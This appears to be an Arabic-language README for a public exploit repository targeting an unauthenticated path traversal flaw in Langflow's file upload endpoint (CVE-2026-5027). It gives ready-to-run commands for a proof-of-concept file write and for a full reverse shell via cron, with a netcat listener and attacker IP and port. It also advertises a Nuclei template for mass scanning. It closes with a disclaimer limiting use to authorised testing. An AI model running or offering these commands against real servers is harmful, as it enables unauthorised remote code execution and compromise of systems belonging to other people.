---

📌 نظرة عامة

يعاني Langflow من ثغرة اجتياز المسار خطيرة في نقطة رفع الملفات (POST /api/v2/files).

يمكن للمهاجم إرسال اسم ملف خبيث يحتوي على تسلسلات ../ لـ كتابة ملفات اعتباطية في أي مكان على نظام ملفات الخادم.

يؤدي هذا بسهولة إلى تنفيذ كود عن بُعد كامل (RCE) — على سبيل المثال عن طريق إسقاط شِل ويب أو الحقن في crontab.

---

🛠️ الميزات

• ✅ استغلال غير مصادق (إعدادات تسجيل الدخول التلقائي الافتراضية)
• ✅ إثبات مفهوم بسيط (يكتب ملف اختبار إلى /tmp)
• ✅ شِل عكسي كامل عبر cron (لينكس)
• ✅ قالب Nuclei مضمّن للمسح الجماعي
• ✅ سهولة تخصيص عمق الاجتياز

---

🚀 بداية سريعة

1. إثبات المفهوم (اختبار آمن)

python3 CVE-2026-5027.py -t http://target:7860/ --proof

المخرجات المتوقعة في حالة وجود الثغرة:

[+] Success! File written: ../../../tmp/CVE-2026-5027-proof.txt

2. شِل عكسي كامل

# ابدأ المستمع
nc -lvnp 4444

# شغّل الاستغلال
python3 CVE-2026-5027.py -t http://target:7860/ --lhost YOUR_IP --lport 4444

---

📁 محتويات المستودع

الملف	الوصف
CVE-2026-5027.py	الاستغلال الرئيسي بلغة بايثون (إثبات المفهوم + RCE)
CVE-2026-5027.yaml	قالب Nuclei للمسح
README.md	هذا الملف

---

🎯 أمثلة الاستخدام

وضع الإثبات

python3 CVE-2026-5027.py -t http://target.com/ --proof

وضع الشل العكسي

python3 CVE-2026-5027.py -t http://target.com/ --lhost 192.168.1.100 --lport 4444

---

⚠️ إخلاء مسؤولية

هذا المستودع مخصص لأغراض الاختبارات الأمنية التعليمية والمرخصة فقط.

استخدمه بمسؤولية وفقط على الأنظمة التي لديك إذن صريح لاختبارها.

---